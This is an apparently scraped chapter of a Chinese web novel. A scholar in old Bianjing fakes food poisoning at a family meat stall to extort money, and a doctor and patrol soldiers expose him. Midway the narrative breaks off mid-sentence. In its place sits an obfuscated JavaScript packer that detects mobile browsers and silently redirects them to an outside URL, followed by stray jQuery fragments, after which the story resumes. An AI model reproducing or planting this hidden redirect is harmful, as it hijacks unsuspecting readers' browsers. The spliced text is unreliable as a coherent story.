次日晌午。


    徐记铺子依旧人头攒动。


    赵秀才在巷子口磨蹭了半天，摸了摸袖袋里那十个铜板。


    这可是他从牙缝里省下来的私房钱，平日里买张纸都舍不得，今儿为了这口恶气，豁出去了。


    所谓舍不得孩子套不着狼，这十文钱花出去，回头不仅能吃顿肉，还能讹回来十贯！


    十贯钱啊！够他买多少好纸好墨，甚至还能置办身新行头，去参加文会也有面子。


    想通了这关节，赵秀才挺直了腰杆，摆出一副清高孤傲的模样，迈步走进了人群。


    “让让，让让！有辱斯文，挤什么挤！”


    他用袖子掩着鼻子，一脸嫌弃地拨开两个正在排队的汉子。


    那汉子本想发作，回头见是个穿长衫的秀才公，这才悻悻地闭了嘴。


    赵秀才挤到柜台前，鼻孔朝天：“来一份那个什么……肉条。要孜然味儿的。”


    苏棠正在盛肉，抬头一见是赵秀才，眉头几不可见地皱了一下，但脸上还是挂着笑：“哟，这不是赵秀才吗？稀客啊。您稍等。”


    “十文钱，承惠。”


    赵秀才极其肉痛地数出十个铜板，拍在柜台上，转身就找了个最显眼的位置站定。


    那肉条炸得金黄酥脆，赵秀才咽了口唾沫，心里暗骂这味道真是要命。


    捏起一根肉条放进嘴里。


    咔嚓。


    牙齿切开酥皮，肉汁迸发。


    好吃！


    真他娘的好吃！


    这哪里是下等人的吃食，这简直比樊楼的珍馐还要够味儿！


    他忍不住又吃了一根，再一根。


    手比脑子快，没一会儿，那油纸包就见了底。


    直到手指触到了油纸包的底部，赵秀才这才猛然惊醒。


    坏了！光顾着吃，正事儿忘干了！


    这肉都吃完了，还怎么闹？


    他有些懊恼地舔了舔手指上的残渣，心一横，眼一闭。


    不管了，反正吃进肚子里了，谁还能查出来？


    赵秀才突然捂住肚子，身子晃了晃，发出一声惨绝人寰的叫声：“哎哟——！”


    这一嗓子，把周围正吃得香的食客吓了一跳。


    只见赵秀才整个人顺着墙根滑下去，在地上蜷成了一只虾米，双手死死捂着肚子，满地打滚。


    “疼死我了！我不行了……这肉……这肉有毒！”


    他一边滚，一边指着柜台后的苏棠母女，声嘶力竭，“黑店！这是黑店啊！谋财害命啦！”


    原本热闹的铺子瞬间像被按了暂停键。


    食客们手里举着肉条，吃也不是，放也不是，一个个面面相觑。


    “怎么回事？有毒？”


    “不能吧，我都吃了两份了，没事儿啊。”


    “可那是赵秀才，读书人，还能撒谎不成？”


    议论声嗡嗡地响起来，有些人已经默默放下了手里的肉。


    苏棠脸上的笑意瞬间收敛，把手里的勺子往盆里一扔，发出“当”的一声脆响。


    她双手叉腰，几步从柜台后走了出来，居高临下地看着在地上翻滚的赵秀才。


    “姓赵的，饭可以乱吃，话可不能乱说。你说我有毒就有毒？这满大街的人都吃了，怎么就你一个人中毒了？”


    赵秀才听她这话里带刺，更是来劲：“我可是读书人，身子骨金贵，哪里受得住这等污糟东西！你们这肉肯定是病死猪肉，那料里指不定掺了什么！我不活了，疼死我了！”


    他偷眼瞧着周围人的反应，见大家指指点点，心里暗喜，面上却更加凄惨：“赔钱！必须赔钱！我还要去买药救命！拿不出十贯钱来，我就去衙门告你们！”


    十贯？


    人群里发出一阵抽气声。


    这简直是狮子大开口啊！


    苏棠冷笑一声，刚要开口骂回去，袖子却被轻轻拉了一下。


    徐竹筱从柜台后走出来，脸上不见半分慌乱，反而带着几分天真的疑惑。


    她蹲下身，看着赵秀才那红润得发光的脸色，又看了看他嘴角没擦干净的辣椒面。


    “赵相公，您既然肚子疼得这么厉害，想必是急症。”徐竹筱声音清脆，传遍了整条街，“这种时候，给钱有什么用？钱能治病吗？救命要紧啊！”


    赵秀才一愣，还没反应过来，就听徐竹筱冲着人群喊道：“刚才那位买丸子的大哥，麻烦您跑一趟前面的回春堂，请王老大夫过来！就说有人在我们铺子吃坏了，命悬一线，让他带上全套的银针，一定要救活赵秀才！”


    那大哥是个热心肠，闻言把手里的丸子往怀里一揣：“好嘞！我这就去！”


    说完撒丫子就跑。


    赵秀才傻眼了。


    请大夫？


    还是王老大夫？那老头子医术高明，要是让他一搭脉，自己这点伎俩不就全露馅了吗？


    而且那老头扎针最疼，听说不论什么病，上来就是几针下去。


    “不……不用！”赵秀才慌了，连忙摆手，想要站起来，“给我钱就行，我自己去看，不用麻烦……”


    “那怎么行！”苏棠也是个机灵的，瞬间明白了闺女的意思，一步跨上前，死死按住赵秀才的肩膀，把他按回地上，“您都疼成这样了，动弹不得啊！万一这一动，毒气攻心怎么办？大家伙儿都看着呢，咱们徐家可是负责任的铺子，绝不能让您死在门口！”


    苏棠力气大，常年干活的手劲儿哪里是赵秀才这种弱书生能比的。


    赵秀才被按得肩膀生疼，像是被铁钳夹住了一样，挣扎不得。


    “我不……我没毒……哎哟不是，我是说……”赵秀才语无伦次，额头上急出了汗。


    此时，围观的食客们也看出了点门道。


    “这赵秀才怎么看着中气十足的？”


    “是啊，刚才喊得比我都响亮。”


    “真要是中毒了，还能这么精神地讨价还价？”


    议论声风向一转，赵秀才更慌了。


    徐竹筱却不给他喘息的机会，她站起身，冲着街角几个穿着号衣的巡街铺兵挥了挥手。


    “几位官爷！这边有人闹事讹诈！还请官爷做主！”


    这一嗓子，比刚才叫大夫还要管用。


    汴京城的军巡铺那是出了名的效率高，专管街面上的治安防火。


    几个铺兵本就在附近溜达，一听有人讹诈，立马沉着脸走了过来。


    领头的铺兵是个黑脸汉子，腰间挎着刀，眼神往地上一扫。


    “怎么回事？”


    赵秀才一看来真的，那身号衣和明晃晃的刀鞘吓得他腿肚子转筋。


    读书人最怕什么？最怕见官啊！


    这要是进了衙门，有了案底，以后还怎么考功名？


    “误会……都是误会……”赵秀才也不喊疼了，一骨碌从地上爬起来，动作比猴子还灵敏，哪里还有半点中毒的样子。


    “我……我就是刚才岔了气，现在好了，全好了。”


    他一边说，一边往后退，想钻进人群溜走。


    苏棠哪里肯放过他，指着他的鼻子骂道：“刚才不是还要十贯钱吗？不是说我们下了砒霜吗？官爷在此，咱们正好去衙门把那肉条验一验，看看是谁心黑！”


    正对峙着，那热心肠的大哥气喘吁吁地拽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002746|193160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着一位须发皆白的老者冲进人群。


    “来了！王大夫来了！”


    王老大夫一把年纪被这么生拉硬拽，胡子翘得老高，背着的药箱把干瘦的脊背压得微弯。


    他也不含糊，眼皮子一抬，都没正眼瞧地上的赵秀才，三根枯树皮似的手指便搭上了对方的手腕。


    王老大夫眯着眼，指尖在脉搏上停了不到半盏茶的功夫。


    “哼。”


    一声冷笑从老头鼻腔里喷出来，他一把甩开赵秀才的手，像是甩开什么脏东西。


    “脉象洪大有力，若说有病，那就是吃撑了积食，外加心火太旺！”王老大夫一边收拾药箱，一边没好气地冲着周围拱手，“这人壮得能打死一头牛，中毒？我看是中邪了，想钱想疯了！”


    人群“哄”地一下炸开了锅。


    “我就说！徐记的丸子我都吃了半个月了，怎么没事？”


    “这读书人看着斯文，心肠烂透了！”


    那领头的黑脸铺兵听完，嘴角扯出一抹狞笑，手中的刀鞘重重地拍在赵秀才的屁股上，发出“啪”的一声脆响。


    “赵秀才，这回不用去回春堂了，跟爷去开封府的大牢里‘养病’吧！讹诈良民，扰乱市井，够你喝一壶的！”


    赵秀才两腿一软，像摊烂泥一样瘫在地上，嘴里还在那儿哼唧：“我是读书人……不能抓我……有辱斯文……”


    两个铺兵哪听他废话，像拖死狗一样，一左一右架起他就走。


    徐竹筱站在铺子门口，看着那背影，唇边忍不住勾起一点笑意。她扭头看向自家亲娘。


    “大兄弟！别走！”


    苏棠一把叫住那位刚才跑腿的大哥。


    她动作麻利，转身从油锅旁的沥油架上，用长筷夹起满满一大包刚出锅、还滋滋冒油的炸肉条。


    “刚才多亏了您跑这一趟，不然咱家这不白之冤可是跳进黄河也洗不清了。这点吃食您拿回去给家里孩子尝尝，千万别嫌弃！”


    那大哥有些不好意思，手在衣襟上蹭了蹭：“这……这怎么好意思，我就跑个腿……”


    “拿着！”苏棠不由分说，直接塞进他怀里，滚烫的温度隔着油纸包，烫得那大哥心里热乎乎的。


    送走了热心人，苏棠转身走到正要离开的王老大夫面前。


    她从腰间的钱袋里摸出五十文钱，双手奉上。


    “王大夫，让您受累了。这点茶水钱您收着。”


    王老大夫本来黑着的脸稍微缓和了些。他出诊费向来不低，但这只是来街边验个真假，五十文，给得极厚道，给足了他面子。


    “徐娘子客气，以后这种腌臜泼皮，直接报官便是。”老头捋了捋胡子，接过钱走了。


    此时，铺子前还围着不少没散去的食客。


    徐竹筱悄悄拽了拽苏棠的袖子。


    母女俩对视一眼，苏棠立马心领神会。这可是收买人心、打响招牌的绝佳机会。


    苏棠清了清嗓子，声音洪亮，透着一股子当家主母的大气：“各位街坊邻居！今儿让这么个浑人搅了大家的兴致，实在是抱歉。为了给大家压压惊，也为了谢大伙儿刚才仗义执言，凡是刚才买了咱家东西的，哪怕是一文钱的素丸子，现在只要过来，每人额外送两个肉丸子！”


    “真的？徐娘子大气！”


    “哎哟，这怎么好意思，刚才咱们也没帮上啥忙……”


    “徐记仁义啊！”


    人群欢呼起来，原本那点因为闹剧而产生的不快瞬间烟消云散。


    大家伙儿排着队领丸子，嘴里全是夸徐家铺子地道、东西干净的好话。


    毕竟拿人手短，吃人嘴软。